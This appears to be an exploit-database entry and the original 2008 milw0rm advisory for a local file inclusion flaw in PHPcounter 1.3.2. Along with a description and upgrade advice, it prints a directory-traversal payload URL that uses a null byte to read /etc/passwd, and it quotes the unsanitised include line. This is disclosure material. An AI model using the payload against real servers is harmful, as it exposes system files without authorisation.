header-logo
Suggest Exploit
vendor:
PHPcounter
by:
dun
7.5
CVSS
HIGH
Local File Inclusion
22
CWE
Product Name: PHPcounter
Affected Version From: 1.3.2002
Affected Version To: 1.3.2002
Patch Exists: YES
Related CWE: N/A
CPE: a:phpcounter:phpcounter:1.3.2
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2008

PHPcounter <= 1.3.2 Local File Inclusion Vulnerability

A vulnerability exists in PHPcounter version 1.3.2 which allows an attacker to include arbitrary files from the local system. This is due to a lack of sanitization of user-supplied input to the 'l' parameter in the 'defs.php' script. An attacker can exploit this vulnerability by sending a specially crafted HTTP request containing directory traversal sequences and a URL-encoded NULL byte.

Mitigation:

Upgrade to the latest version of PHPcounter or apply the patch provided by the vendor.
Source

Exploit-DB raw data:

  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ###################################################################
 #  [ PHPcounter <= 1.3.2 ]   Local File Inclusion Vulnerability   #
 ###################################################################
 #
 # Script: "A multi-account real time web-site counter in PHP/MySQL with lots of different statistics of the visitors."
 #
 # Script site: http://phpcounter.sourceforge.net/
 # Download: http://sourceforge.net/projects/phpcounter/
 #
 # Vuln: 
 # http://site.com/[phpcounter.1.3.2]/defs.php?l=../../../../../../../etc/passwd%00
 #     
 #
 # Bug: ./phpcounter.1.3.2/defs.php (line: 49)
 #
 # ...
 # 	@include("langs/$_GET[l].php");
 # ... 			    
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-09-24]